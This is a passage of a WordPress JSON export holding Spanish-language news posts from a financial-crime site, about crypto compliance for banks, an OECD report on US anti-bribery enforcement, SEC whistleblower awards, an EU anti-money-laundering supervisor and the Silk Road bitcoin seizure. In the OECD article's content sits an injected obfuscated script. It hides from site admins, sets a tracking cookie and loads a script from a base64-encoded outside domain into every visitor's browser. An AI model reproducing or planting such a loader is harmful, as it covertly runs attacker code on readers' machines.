utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img 